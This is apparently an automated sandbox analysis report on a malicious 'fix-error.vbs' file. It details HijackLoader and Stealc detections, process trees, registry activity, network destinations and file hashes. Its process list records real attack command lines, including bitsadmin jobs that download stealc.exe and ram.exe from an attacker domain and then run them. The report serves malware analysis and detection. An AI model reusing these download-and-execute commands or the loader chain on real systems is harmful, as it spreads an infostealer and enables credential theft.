Analysis Overview
SHA256
92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
Threat Level: Known bad
The file fix-error.vbs was found to be: Known bad.
Malicious Activity Summary
Detects HijackLoader (aka IDAT Loader)
HijackLoader
Stealc
Downloads MZ/PE file
Download via BitsAdmin
Blocklisted process makes network request
Suspicious use of SetThreadContext
Detected potential entity reuse from brand GOOGLE.
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Program crash
Delays execution with timeout.exe
Modifies Internet Explorer settings
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Checks processor information in registry
Kills process with taskkill
Suspicious behavior: MapViewOfSection
Script User-Agent
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-10-17 09:45
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-10-17 09:45
Reported
2024-10-17 09:47
Platform
win7-20240903-en
Max time kernel
125s
Max time network
125s
Command Line
Signatures
Detects HijackLoader (aka IDAT Loader)
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
HijackLoader
Stealc
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Download via BitsAdmin
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2328 set thread context of 2940 | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | C:\Windows\SysWOW64\cmd.exe |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\explorer.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\bitsadmin.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\timeout.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\explorer.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 | C:\Windows\SysWOW64\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\SysWOW64\explorer.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\explorer.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\stealc.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 1804
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
C:\Windows\SysWOW64\timeout.exe
timeout /t 30 /nobreak
C:\Users\Admin\AppData\Local\Temp\stealc.exe
"C:\Users\Admin\AppData\Local\Temp\stealc.exe"
C:\Windows\SysWOW64\timeout.exe
"C:\Windows\System32\timeout.exe" /T 2 /nobreak
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\bitsadmin.exe
"C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
C:\Users\Admin\AppData\Local\Temp\ram.exe
"C:\Users\Admin\AppData\Local\Temp\ram.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 1804
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 800
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 142.250.187.206:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | us18web-zoom.us | udp |
| US | 172.67.204.164:443 | us18web-zoom.us | tcp |
| US | 8.8.8.8:53 | webapizmland.com | udp |
| US | 172.67.129.142:443 | webapizmland.com | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.117.22:80 | crl.microsoft.com | tcp |
| ES | 95.182.97.58:80 | tcp | |
| ES | 95.182.97.58:80 | tcp |
Files
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M4TQDAHL\favicon[1].ico
| MD5 | f3418a443e7d841097c714d69ec4bcb8 |
| SHA1 | 49263695f6b0cdd72f45cf1b775e660fdc36c606 |
| SHA256 | 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770 |
| SHA512 | 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563 |
memory/2328-21-0x0000000000400000-0x0000000000561000-memory.dmp
memory/2328-22-0x0000000071980000-0x0000000071AF4000-memory.dmp
memory/2328-23-0x0000000077460000-0x0000000077609000-memory.dmp
memory/2328-37-0x0000000071980000-0x0000000071AF4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7729aedd
| MD5 | 6e55da6f9c2e2d5938113bee8a2a2169 |
| SHA1 | 8c64d720f95c1427155aec990e536edde887dcc5 |
| SHA256 | 3042740a5872ec6f403da4cb6639625a21b357d7aeb5e065e058bac021e00782 |
| SHA512 | 6a04ca7b341731897e1745d953b136e9e2a3c70fe9186aab7416cbbfdefa6775323f68c9d975ef180bbde363e4c58d897f8f29c1e8119ba56a8a41a844b3e5fd |
memory/2940-40-0x0000000077460000-0x0000000077609000-memory.dmp
memory/2940-41-0x0000000071980000-0x0000000071AF4000-memory.dmp
memory/1736-43-0x0000000000100000-0x0000000000363000-memory.dmp
memory/1736-44-0x0000000077460000-0x0000000077609000-memory.dmp
memory/1736-45-0x0000000000100000-0x0000000000363000-memory.dmp
memory/1736-49-0x0000000000100000-0x0000000000363000-memory.dmp
memory/1736-50-0x0000000000100000-0x0000000000363000-memory.dmp
memory/1736-53-0x0000000000100000-0x0000000000363000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-10-17 09:45
Reported
2024-10-17 09:47
Platform
win10v2004-20241007-en
Max time kernel
138s
Max time network
143s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
Detected potential entity reuse from brand GOOGLE.
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | support.google.com | udp |
| GB | 142.250.187.206:443 | support.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.178.3:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 150.171.27.10:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 142.250.178.3:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.187.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.178.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |